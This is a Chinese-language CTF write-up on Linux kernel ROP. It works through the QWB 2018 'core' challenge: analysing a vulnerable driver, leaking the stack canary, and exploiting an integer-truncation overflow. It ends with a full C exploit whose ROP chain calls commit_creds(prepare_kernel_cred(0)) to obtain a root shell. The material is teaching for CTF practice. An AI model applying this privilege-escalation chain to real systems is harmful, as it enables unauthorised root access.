Kernel ROP¶
ROP即返回導向編程
(Return-oriented programming),應當是大家比較熟悉的一種攻擊方式——通過複用代碼片段的方式控制程序執行流。
內核態的 ROP 與用戶態的 ROP 一般無二,只不過利用的 gadget 變成了內核中的 gadget,所需要構造執行的 ropchain 由 system("/bin/sh")
變爲了 commit_creds(&init_cred)
或 commit_creds(prepare_kernel_cred(NULL))
,當我們成功地在內核中執行這樣的代碼後,當前線程的 cred 結構體便變爲 init 進程的 cred 的拷貝,我們也就獲得了 root 權限,此時在用戶態起一個 shell 便能獲得 root shell。
狀態保存¶
通常情況下,我們的exploit需要進入到內核當中完成提權,而我們最終仍然需要着陸回用戶態以獲得一個root權限的shell,因此在我們的exploit進入內核態之前我們需要手動模擬用戶態進入內核態的準備工作——保存各寄存器的值到內核棧上,以便於後續着陸回用戶態。
通常情況下使用如下函數保存各寄存器值到我們自己定義的變量中,以便於構造 rop 鏈:
算是一個通用的pwn板子。
方便起見,使用了內聯彙編,編譯時需要指定參數:
-masm=intel
。
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(void)
{
asm volatile ("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
返回用戶態¶
由內核態返回用戶態只需要:
swapgs
指令恢復用戶態GS寄存器sysretq
或者iretq
恢復到用戶空間
那麼我們只需要在內核中找到相應的gadget並執行swapgs;iretq
就可以成功着陸回用戶態。
通常來說,我們應當構造如下rop鏈以返回用戶態並獲得一個shell:
↓ swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss
例題:強網杯2018 - core¶
分析¶
題目給了 bzImage
,core.cpio
,start.sh
以及帶符號表的 vmlinux
四個文件
前三個文件我們已經知道了作用,vmlinux
則是靜態編譯,未經過壓縮的 kernel 文件,相對應的 bzImage
可以理解爲壓縮後的文件,更詳細的可以看 stackexchange
vmlinux 未經過壓縮,也就是說我們可以從 vmlinux 中找到一些 gadget,我們先把 gadget 保存下來備用。
建議使用 Ropper 來尋找 gadget,在我測試時,ropper 用了兩分半鐘提取出了所有的 gadget,而 ROPgadget 用了半個小時耗盡了內存還沒跑出結果。。。
give_to_player [master●] time ropper --file ./vmlinux --nocolor > g1
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
ropper --file ./vmlinux --nocolor > g1 147.42s user 25.68s system 111% cpu 2:35.17 total
give_to_player [master●] time ROPgadget --binary ./vmlinux > g2
[2] 16597 killed ROPgadget --binary ./vmlinux > g2
ROPgadget --binary ./vmlinux > g2 1064.39s user 42.52s system 54% cpu 33:35.89 total
如果題目沒有給 vmlinux,可以通過 extract-vmlinux 提取。
CISCN2017_babydriver [master●●] ./extract-vmlinux ./bzImage > vmlinux
CISCN2017_babydriver [master●●] file vmlinux
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=e993ea9809ee28d059537a0d5e866794f27e33b4, stripped
看一下 start.sh
give_to_player [master●●] ls
bzImage core.cpio start.sh vmlinux
give_to_player [master●●] bat start.sh
───────┬─────────────────────────────────────────────────────────────────────────────────
│ File: start.sh
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ qemu-system-x86_64 \
2 │ -m 64M \
3 │ -kernel ./bzImage \
4 │ -initrd ./core.cpio \
5 │ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
6 │ -s \
7 │ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
8 │ -nographic \
───────┴─────────────────────────────────────────────────────────────────────────────────
解壓 core.cpio
後,看一下 init
give_to_player [master●] file core.cpio
core.cpio: gzip compressed data, last modified: Fri Mar 23 13:41:13 2018, max compression, from Unix, original size 53442048
give_to_player [master●] mkdir core
give_to_player [master●] cd core
core [master] mv ../core.cpio core.cpio.gz
core [master●] gunzip ./core.cpio.gz
core [master●] cpio -idm < ./core.cpio
104379 塊
core [master●] bat init
───────┬─────────────────────────────────────────────────────────────────────────────────
│ File: init
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/sh
2 │ mount -t proc proc /proc
3 │ mount -t sysfs sysfs /sys
4 │ mount -t devtmpfs none /dev
5 │ /sbin/mdev -s
6 │ mkdir -p /dev/pts
7 │ mount -vt devpts -o gid=4,mode=620 none /dev/pts
8 │ chmod 666 /dev/ptmx
9 │ cat /proc/kallsyms > /tmp/kallsyms
10 │ echo 1 > /proc/sys/kernel/kptr_restrict
11 │ echo 1 > /proc/sys/kernel/dmesg_restrict
12 │ ifconfig eth0 up
13 │ udhcpc -i eth0
14 │ ifconfig eth0 10.0.2.15 netmask 255.255.255.0
15 │ route add default gw 10.0.2.2
16 │ insmod /core.ko
17 │
18 │ poweroff -d 120 -f &
19 │ setsid /bin/cttyhack setuidgid 1000 /bin/sh
20 │ echo 'sh end!\n'
21 │ umount /proc
22 │ umount /sys
23 │
24 │ poweroff -d 0 -f
───────┴────────────────────────────
- 第 9 行中把
kallsyms
的內容保存到了/tmp/kallsyms
中,那麼我們就能從/tmp/kallsyms
中讀取commit_creds
,prepare_kernel_cred
的函數的地址了 - 第 10 行把
kptr_restrict
設爲 1,這樣就不能通過/proc/kallsyms
查看函數地址了,但第 9 行已經把其中的信息保存到了一個可讀的文件中,這句就無關緊要了 - 第 11 行把
dmesg_restrict
設爲 1,這樣就不能通過dmesg
查看 kernel 的信息了 - 第 18 行設置了定時關機,爲了避免做題時產生幹擾,直接把這句刪掉然後重新打包
同時還發現了一個 shell 腳本 gen_cpio.sh
core [master●] bat gen_cpio.sh
───────┬─────────────────────────────────────────────────────────────────────────────────
│ File: gen_cpio.sh
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ find . -print0 \
2 │ | cpio --null -ov --format=newc \
3 │ | gzip -9 > $1
───────┴─────────────────────────────────────────────────────────────────────────────────
從名稱和內容都可以看出這是一個方便打包的腳本,我們修改好 init 後重新打包,嘗試運行 kernel
core [master●●] vim init
core [master●●] rm core.cpio
core [master●●] ./gen_cpio.sh core.cpio
.
./usr
./usr/sbin
./usr/sbin/popmaildir
......
......
./core.cpio
./core.ko
129851 塊
core [master●●] ls
bin core.ko gen_cpio.sh lib linuxrc root sys usr
core.cpio etc init lib64 proc sbin tmp vmlinux
core [master●●] mv core.cpio ..
core [master●●] cd ..
give_to_player [master●●] ./start.sh
但這時候又遇到了新問題,內核運行不起來,從一閃即逝的報錯信息中能看到是因爲分配的內存過小,start.sh
中 -m
分配的是 64M,修改爲 128M,終於能運行起來了。
/ $ lsmod
core 16384 0 - Live 0x0000000000000000 (O)
......
......
give_to_player [master●●] cp core/core.ko .
give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436683d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
init_module() 註冊了 /proc/core
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk("\x016core: created /proc/core entry\n");
return 0LL;
}
/proc/core
__int64 exit_core()
{
__int64 result; // rax
if ( core_proc )
result = remove_proc_entry("core");
return result;
}
core_ioctl() 定義了三條命令,分別調用 core_read(),core_copy_func() 和設置全局變量 off
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk("\x016core: %d\n");
off = a3;
break;
case 0x6677889A:
printk("\x016core: called core_copy\n");
core_copy_func(a3);
break;
}
core_copy_func(v3);
}
core_read() 從 v4[off]
拷貝 64 個字節到用戶空間,但要注意的是全局變量 off
使我們能夠控制的,因此可以合理的控制 off
來 leak canary 和一些地址
void __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
char *v2; // rdi
signed __int64 i; // rcx
char v4[64]; // [rsp+0h] [rbp-50h]
unsigned __int64 v5; // [rsp+40h] [rbp-10h]
v1 = a1;
v5 = __readgsqword(0x28u);
printk("\x016core: called core_read\n");
printk("\x016%d %p\n");
v2 = v4;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v4, "Welcome to the QWB CTF challenge.\n");
if ( copy_to_user(v1, &v4[off], 64LL) )
__asm { swapgs }
}
core_copy_func() 從全局變量 name
中拷貝數據到局部變量中,長度是由我們指定的,當要注意的是 qmemcpy 用的是 unsigned __int16
,但傳遞的長度是 signed __int64
,因此如果控制傳入的長度爲 0xffffffffffff0000|(0x100)
等值,就可以棧溢出了
void __fastcall core_copy_func(signed __int64 a1)
{
char v1[64]; // [rsp+0h] [rbp-50h]
unsigned __int64 v2; // [rsp+40h] [rbp-10h]
v2 = __readgsqword(0x28u);
printk("\x016core: called core_writen");
if ( a1 > 63 )
printk("\x016Detect Overflow");
else
qmemcpy(v1, name, (unsigned __int16)a1); // overflow
}
core_write() 向全局變量 name
上寫,這樣通過 core_write()
和 core_copy_func()
就可以控制 ropchain 了
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx
v3 = a3;
printk("\x016core: called core_writen");
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
return (unsigned int)v3;
printk("\x016core: error copying data from userspacen");
return 0xFFFFFFF2LL;
}
思路¶
經過如上的分析,可以得出以下的思路:
- 通過 ioctl 設置 off,然後通過 core_read() leak 出 canary
- 通過 core_write() 向 name 寫,構造 ropchain
- 通過 core_copy_func() 從 name 向局部變量上寫,通過設置合理的長度和 canary 進行 rop
- 通過 rop 執行
commit_creds(prepare_kernel_cred(0))
- 返回用戶態,通過 system("/bin/sh") 等起 shell
解釋一下:
- 如何獲得 commit_creds(),prepare_kernel_cred() 的地址?
- /tmp/kallsyms 中保存了這些地址,可以直接讀取,同時根據偏移固定也能確定 gadgets 的地址
- 如何返回用戶態?
swapgs; iretq
,之前說過需要設置cs, rflags
等信息,可以寫一個函數保存這些信息
// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
// at&t flavor assembly
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
- Why bother returning to Userspace?
- Most useful things we want to do are much easier from userland.
- In KernelSpace, there’s no easy way to:
- Modify the filesystem
- Create a new process
- Create network connections
Exploit¶
先說一下怎麼調試,qemu 內置有 gdb 的接口,通過 help 查看
give_to_player [master●●] qemu-system-x86_64 --help | grep gdb
-gdb dev wait for gdb connection on 'dev'
-s shorthand for -gdb tcp::1234
-gdb tcp:port
或者 -s
來開啓調試端口,start.sh
中已經有了 -s
,不必再自己設置。 另外通過 gdb ./vmlinux
啓動時,雖然加載了 kernel 的符號表,但沒有加載驅動 core.ko
的符號表,可以通過 add-symbol-file core.ko textaddr
加載
pwndbg> help add-symbol-file
Load symbols from FILE, assuming FILE has been dynamically loaded.
Usage: add-symbol-file FILE ADDR [-s <SECT> <SECT_ADDR> -s <SECT> <SECT_ADDR> ...]
ADDR is the starting address of the file's text.
The optional arguments are section-name section-address pairs and
should be specified if the data and bss segments are not contiguous
with the text. SECT is a section name to be loaded at SECT_ADDR.
.text 段的地址可以通過 /sys/modules/core/section/.text
來查看,查看需要 root 權限,因此爲了方便調試,我們再改一下 init
# setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh
比如:
// qemu 內
/ # cat /sys/module/core/sections/.text
0xffffffffc018b000
......
......
// qemu 外
give_to_player [master●●] gdb ./vmlinux -q
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vmlinux...(no debugging symbols found)...done.
pwndbg> add-symbol-file ./core.ko 0xffffffffc018b000
add symbol table from file "./core.ko" at
.text_addr = 0xffffffffc018b000
Reading symbols from ./core.ko...(no debugging symbols found)...done.
pwndbg> b core_read # 加載了符號表,就可以直接對函數下斷點了
Breakpoint 1 at 0xffffffffc018b063
pwndbg> b *(0xffffffffc018b000+0xCC)# 或者根據基地址直接下斷點
Breakpoint 2 at 0xffffffffc018b0cc
pwndbg> target remote localhost:1234
Remote debugging using localhost:1234
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
0xffffffffa1e6e7d2 in ?? ()
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
RAX 0xffffffffa1e6e7d0 ◂— sti /* 0x2e66001f0fc3f4fb */
RBX 0xffffffffa2810480 ◂— 0x80000000
RCX 0x0
RDX 0x0
RDI 0x0
RSI 0x0
R8 0xffff8f250641bf20 —▸ 0xffffb0f380647960 ◂— 1
R9 0x0
R10 0x0
R11 0x32e
R12 0xffffffffa2810480 ◂— 0x80000000
R13 0xffffffffa2810480 ◂— 0x80000000
R14 0x0
R15 0x0
RBP 0x0
RSP 0xffffffffa2803eb8 —▸ 0xffffffffa16b65a0 ◂— 0xff894cf6894c9feb
RIP 0xffffffffa1e6e7d2 ◂— ret /* 0x1f0f2e66001f0fc3 */
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
► 0xffffffffa1e6e7d2 ret <0xffffffffa16b65a0>
↓
0xffffffffa16b65a0 jmp 0xffffffffa16b6541
↓
0xffffffffa16b6541 or byte ptr ds:[r12 + 2], 0x20
0xffffffffa16b6548 pushfq
0xffffffffa16b6549 pop rax
0xffffffffa16b654a test ah, 2
0xffffffffa16b654d je 0xffffffffa16b65e5
0xffffffffa16b6553 call 0xffffffffa16d4720
0xffffffffa16b6558 call 0xffffffffa16b6430
0xffffffffa16b655d mov rax, qword ptr [rbx]
0xffffffffa16b6560 test al, 8
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0xffffffffa2803eb8 —▸ 0xffffffffa16b65a0 ◂— 0xff894cf6894c9feb
01:0008│ 0xffffffffa2803ec0 ◂— 0xc2
02:0010│ 0xffffffffa2803ec8 —▸ 0xffffffffa2cc4900 ◂— 0xcccccccccccccccc
03:0018│ 0xffffffffa2803ed0 —▸ 0xffff8f2506688900 ◂— jb 0xffff8f2506688971 /* 0x65642f3d746f6f72; 'root=/dev/ram' */
04:0020│ 0xffffffffa2803ed8 —▸ 0xffffffffa2ccc2c0 ◂— 0xcccccccccccccccc
05:0028│ 0xffffffffa2803ee0 ◂— 0x0
... ↓
07:0038│ 0xffffffffa2803ef0 —▸ 0xffffffffa16b673a ◂— jmp 0xffffffffa16b6735 /* 0x564190909090f9eb */
pwndbg> c
Continuing.
......
......
// qemu 內
/ # /tmp/exploit
[*]status has been saved.
commit_creds addr: 0xffffffffa169c8e0
vmlinux_base addr: 0xffffffffa1600000
prepare_kernel_cred addr: 0xffffffffa169cce0
[*]set off to 64
[*]read to buf.
......
......
// qemu 外
pwndbg> c
Continuing.
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
Breakpoint 1, 0xffffffffc018b063 in core_read ()
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
RAX 0xffffffffc018b15f (core_ioctl) ◂— cmp esi, 0x6677889b /* 0x48536677889bfe81 */
RBX 0x7ffee6e56f10 ◂— 0
RCX 0x0
RDX 0x7ffee6e56f10 ◂— 0
RDI 0x7ffee6e56f10 ◂— 0
RSI 0x6677889b
R8 0xffff8f25071b38ac ◂— 1
R9 0x1
R10 0x0
R11 0x0
R12 0xffff8f250540b7a0 ◂— mov dh, 0x81 /* 0x581b6 */
R13 0x6677889b
R14 0x7ffee6e56f10 ◂— 0
R15 0x0
RBP 0x7ffee6e56f10 ◂— 0
RSP 0xffffb0f3800dbe68 —▸ 0xffffffffc018b19b (core_ioctl+60) ◂— 0xc7c748d6894818eb
RIP 0xffffffffc018b063 (core_read) ◂— push rbx /* 0x7bc7c748fb894853 */
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
► 0xffffffffc018b063 <core_read> push rbx
0xffffffffc018b064 <core_read+1> mov rbx, rdi
0xffffffffc018b067 <core_read+4> mov rdi, -0x3fe73f85
0xffffffffc018b06e <core_read+11> sub rsp, 0x48
0xffffffffc018b072 <core_read+15> mov rax, qword ptr gs:[0x28]
0xffffffffc018b07b <core_read+24> mov qword ptr [rsp + 0x40], rax
0xffffffffc018b080 <core_read+29> xor eax, eax
0xffffffffc018b082 <core_read+31> call 0xffffffffa16c6845
0xffffffffc018b087 <core_read+36> mov rsi, qword ptr [rip + 0x2b72]
0xffffffffc018b08e <core_read+43> mov rdx, rbx
0xffffffffc018b091 <core_read+46> mov rdi, -0x3fe73f6b
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0xffffb0f3800dbe68 —▸ 0xffffffffc018b19b (core_ioctl+60) ◂— 0xc7c748d6894818eb
01:0008│ 0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */
02:0010│ 0xffffb0f3800dbe78 —▸ 0xffffffffa17dd6d1 ◂— 0xe824048948df8948
03:0018│ 0xffffb0f3800dbe80 ◂— 0x889b
04:0020│ 0xffffb0f3800dbe88 —▸ 0xffff8f2507680d00 ◂— 0
05:0028│ 0xffffb0f3800dbe90 —▸ 0xffffffffa178ecfa ◂— 0x9e840ffffffdfd3d
06:0030│ 0xffffb0f3800dbe98 —▸ 0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */
07:0038│ 0xffffb0f3800dbea0 ◂— 0x10
Breakpoint core_read
pwndbg>
最終 exp
QWB2018_core [master●●] cat exploit.c
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/*
* give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
/*
* give_to_player [master●●] bpython
bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}
void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}
int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;
set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);
size_t rop[0x1000] = {0};
int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
return 0;
}
get root shell¶
QWB2018_core [master●●] gcc exploit.c -static -masm=intel -g -o exploit // 如果使用 intel 彙編需要加上 -masm=intel
QWB2018_core [master●●] cp exploit give_to_player/core/tmp
cp:是否覆蓋'give_to_player/core/tmp/exploit'? y
QWB2018_core [master●●] cd give_to_player/core
core [master●●] ./gen_cpio.sh core.cpio
.
./usr
./usr/sbin
......
......
core [master●●] mv core.cpio ..
mv:是否覆蓋'../core.cpio'? y
core [master●●] cd ..
give_to_player [master●●] ./start.sh
/ $ ls /tmp/
exploit kallsyms
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ /tmp/exploit
[*]status has been saved.
commit_creds addr: 0xffffffffbd09c8e0
vmlinux_base addr: 0xffffffffbd000000
prepare_kernel_cred addr: 0xffffffffbd09cce0
[*]set off to 64
[*]read to buf.
[+]canary: 0x6be486f377bb8600
[*]copy from user with size: -65280
/ # id
uid=0(root) gid=0(root)
Reference and Thanks to¶
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x01-Kernel-ROP-basic
https://blog.csdn.net/gatieme/article/details/78311841
https://bbs.pediy.com/thread-247054.htm